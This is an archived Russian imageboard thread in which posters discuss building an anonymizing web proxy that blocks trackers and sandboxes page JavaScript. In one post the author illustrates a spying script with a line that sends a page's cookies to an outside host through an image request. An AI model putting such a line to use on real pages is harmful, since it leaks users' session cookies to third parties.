Сохранен 36
https://2ch.hk/pr/res/436672.html
Прошлые домены не функционирует! Используйте адрес ARHIVACH.VC.
24 декабря 2023 г. Архивач восстановлен после серьёзной аварии. К сожалению, значительная часть сохранённых изображений и видео была потеряна. Подробности случившегося. Мы призываем всех неравнодушных помочь нам с восстановлением утраченного контента!

аномайзер

 Аноним 13/02/15 Птн 12:27:38 #1 №436672 
14238196583030.jpg
Суп, анон. Пишу аномайзер, которому передаешь урл, и он возвращает тебе ответ с него, пряча твой реальный IP.

Сейчас пытаюсь заставить работать в нем двач со совоими аяксами-хуяксами, почти работает.

Вопрос: есть ли способ запретить внешние ресурсы на своей странице? Например заблочить полностью выполнение скриптов и показ картинок, если они не с сайт_нейм?

В чем проблема: Казалось бы все хорошо, делай замену в html как деды и все, но на современных сайтах куча всякого говна типа гугл аналитика, которое считают тебя, показывают красивые кнопочки фейсбук, показывают тебе рекламу и попутно следят за тобой. Причем это говно все динамическое и вставляется в DOM прямо из яваскрипт. т. е. простой заменой в html не отделаешься.

Может у анон есть еще какие идеи относительно аномайзера? Я бы мог реализовать. Проект будет опенсурс.
Аноним 13/02/15 Птн 16:57:47 #2 №436773 
>>436672
> аномайзер
значение знаешь?
Аноним 14/02/15 Суб 00:13:40 #3 №436973 
пока частично отлавливаю изменения dom в яваскрипте

есть есть проблема. как отловить, переопределить или запретить нахуй этот ебаный window.location?
Аноним 14/02/15 Суб 00:20:22 #4 №436976 
Прямо так и пиши:
window.location = {
'href': 'http://2ch.hk/',
'protocol': 'http',
'hostname': '2ch.hk',
'port': '',
'pathname': '/',
'search': '',
'hash': '',
'assign':
'reload': function() {},
'assign': function() {},
'replace': function() {},
};
Аноним 14/02/15 Суб 10:39:28 #5 №437051 
>>436976 проблема, что location нельзя переопределить. она ридонли. делать автозамену в яваскриптах winodow.location на что-то свое тоже не очень надежно
Аноним 14/02/15 Суб 12:06:47 #6 №437079 
>>436672
Братюнь, не изобретай велосипед. Для полноценной анонимности уже давно изобрели Whonix, который есть набор из двух виртуалок с Тором, а твои начинания обречены, к сожалению, на провал, потому как если браузер знает реальный айпи, он его обязательно рано или поздно выдаст. Или бери сорцы какого-нибудь фаерфокса и хакай их.
Аноним 14/02/15 Суб 13:01:21 #7 №437097 
>>437079 ну с задачей обхода фильтров мой скрипт справится. от АНБ конечно не спасет. яваскрипт это такое дрявое решето оказывается.

вот сейчас обнаружил, что вконтакте шпиоонит запуская свои счетчики через

new Image().src и это говно похоже никак не перехватить
Аноним 14/02/15 Суб 13:42:09 #8 №437124 
>>437097 просто хотел добится, чтоб всякие шпионские счетчики не лезли яваскриптов

в доке мозилы по секьюрети полиси, что-то упоминалось, что можно блочить ембедет контент ссылающийся на внешние домены, но конкретных примеров я не нашел
Аноним 15/02/15 Вск 22:13:29 #9 №437764 
Написал обертку для windows.Image ололо вконтакте со своими вставками шипоинского кода через Image.src теперь сосет
Аноним 16/02/15 Пнд 00:18:37 #10 №437808 
>>437764
Так а как ты от eval уйдёшь?
Аноним 16/02/15 Пнд 00:30:41 #11 №437810 
>>437051
Спасибо, не знал. Ну замыканием-то можно: оберни все содержимое <script> в (function(window, location){ })(customWindow, customLocation);
Аноним 16/02/15 Пнд 00:35:29 #12 №437812 
>>437808 самая проблема ути не от eval, а перехватить изменения атрбутов, через такую записть document.getElementById("хуйпизда").src пока не знаю, как с этим бороться Mutation Observer срабатывает уже после того, как все произошло.

если делать автозамену яваскрита по регэкспу, то да, встает проблема eval

если заворачивать все скрипты в (function(window) {})(fake_window), то тоже пизда, все поломает. большинство скриптов писаны криворукими убенами
Аноним 16/02/15 Пнд 01:24:48 #13 №437821 
>>437812
> все поломает
Что конкретно может сломаться, например? Тем более, у сейчас не 2000-е, есть современный JS с defineProperty.
Аноним 16/02/15 Пнд 11:57:44 #14 №437904 
>>437821 быдлокодеры любят определять глобальные функции и переменные. а потом вызвать их хуй пойми где

сегодня проверю возможно ли достать локальные переменные и функция бегая по this
Аноним 16/02/15 Пнд 12:10:39 #15 №437905 
>>437821
>defineProperty

почитал. похоже этим я смогу отловить изменения при прямом обращении к src
Аноним 16/02/15 Пнд 13:56:36 #16 №437923 
>>437904
> глобальные переменные
Блин. Ты прав, с несколькими <script> сломается, да. Из замыкания список переменных не добыть. Разве что подумать насчет with, но там столько проблем, что, наверное, даже не стоит.
Аноним 17/02/15 Втр 03:55:38 #17 №438306 
Очевидно, что это невозможно. Тебе про евал выше сказали. Юзеру придется отключать жабаскрипт.
sageАноним 17/02/15 Втр 03:58:30 #18 №438309 
Установи прокси и не мучайся.
Аноним 17/02/15 Втр 06:41:02 #19 №438316 
>>438306
eval переопределить или отключить - совершенно не проблема. То же и с Function.
Аноним 17/02/15 Втр 10:36:40 #20 №438341 
Оп. Репортинг.

проверил this. список глобальных переменных можно достать из него, список локальных нельзя. пичалька. а то так бы я устроил скриптам макабы манямирок в замыкании.

Есть правда ебанутая техника, которая заключается в парзинге яваскрипта, но она ненадежна. ебанутый язык короче. шел 21-ый век, а у них даже нет способ получить список локальных переменных.

обращение к внешним ссылкам заблочил, через CSP хидер. в принципе можно дальше не кочевряжится, но хотелось бы, что бы капча полноценно работала и можно было логинится во всякие вконтакты, если кому-то это надо
Аноним 17/02/15 Втр 10:39:35 #21 №438342 
>>438306 самая проблема сейчас это windows.location вот с не, падлой, ничего не сделаешь кроме тупой замены ее вызова в коде.

>>438309 -> /s/

>>438316 тоже так думаю. хотя не пробовал еще
Аноним 17/02/15 Втр 12:36:40 #22 №438375 
>>438341
Есть другая ебанутая техника. Есть несколько <script>. Читаем все сразу. Обертываем первый в функцию, возвращающую функцию со вторым, возвращающую функцию с третьим и т. д. Получившуюся портянку пишем в первый <script>, результат запоминаем в переменной, вызываем его в следующем <script> и т. д. Таким образом весь код будет в замыкании, ему можно скормить любой window, но при этом он будет видеть "глобальные" var и function. Там тоже есть проблемы, но их можно решить, я думаю.
Аноним 17/02/15 Втр 13:03:44 #23 №438386 
>>438375 не совсем понял что точно происходит, но вот что я думаю

делаем глобальный var scripts

все скрпиты по ссылкам и инлайн в html заворачиваем в функции или даже превращаем строку, которую потом будем запускать через eval внутри замыкания

т. е.
scripts.put("// eba scritp ololo I'm spying on you
(new Image()).src = \"http://fbi.gov/?blah=\" + window.cookies;);

потом в нашем скрипте делаем

(function(window) {
for (var s in scripts) {
eval(s);
}
}).apply(manya_mircue_window, manya_mircue_window);

какие подводные камни?
Аноним 17/02/15 Втр 14:01:12 #24 №438420 
даже так:

отправлять яваскрипт код на исполнение в манямирок через postMessage
Аноним 17/02/15 Втр 14:21:03 #25 №438427 
>>438375 теперь дошло, что ты имел ввиду

решение со вложенными функциями даже изящней чем евал всего.

но евал все равно нужен, если какой-то уебок написал в html
<botton onclick="javascritp: functziya()"/>

это надо заменять на что-то типа

<botton onclick="javascritp: safe_eval("functziya()")"/>
Аноним 20/02/15 Птн 21:59:55 #26 №440104 
бамп.

как перехвать изменения в innerHTML?
Аноним 21/02/15 Суб 01:34:20 #27 №440252 
>>440104
Мутэйшн ивентами разумеется. Через DOMNodeInserted/DOMNodeRemoved
т.к. изменение через innerHTML это именно не модификация, а вставление нового узла + удаление старого.

Вот:
http://jsfiddle.net/hyc8guoj/1/

Читай доку:
http://www.w3.org/TR/DOM-Level-3-Events/#event-type-DOMNodeRemoved
Аноним 21/02/15 Суб 01:54:53 #28 №440257 
>>440252
Ну и старое значение можно выцепить из события удаления.

http://jsfiddle.net/hyc8guoj/2/
Аноним 21/02/15 Суб 22:37:52 #29 №440641 
>>440252 но они пишут, что эта хуйня деприкейтед
Аноним 22/02/15 Вск 00:39:16 #30 №440675 
>>440641
Ну да, зато работает на любом DOM. Если модный, то используй MutationObserver:
http://jsfiddle.net/hyc8guoj/3/

Дока:
https://developer.mozilla.org/en-US/docs/Web/API/MutationObserver
https://dom.spec.whatwg.org/#mutationobserver
Аноним 23/02/15 Пнд 20:02:04 #31 №441397 
>>436672
нушотытам блять?
Аноним 23/02/15 Пнд 22:01:34 #32 №441444 
>>441397 пилю потихоньку. сделал проброску куков с фильтраций
Аноним 24/02/15 Втр 00:21:02 #33 №441518 
>>441444
Красава, ъзакинь проектик на жидхаб мож кто присоединиться, мож я даже
Аноним 24/02/15 Втр 22:32:33 #34 №441872 
>>441518
https://github.com/codeninja-ru/proxyapp
Аноним 25/02/15 Срд 01:57:26 #35 №441985 
Вот эта штука: https://addons.mozilla.org/ru/firefox/addon/ghostery/ обнаруживает всякие "жучки" в сайтах и по желанию блокирует их. В том числе и виджеты соцсетей. Своеобразный адблок. Не знаю как он работает, но твоя идея уже реализована.
Аноним 09/03/15 Пнд 00:24:53 #36 №447582 
БАМП
comments powered by Disqus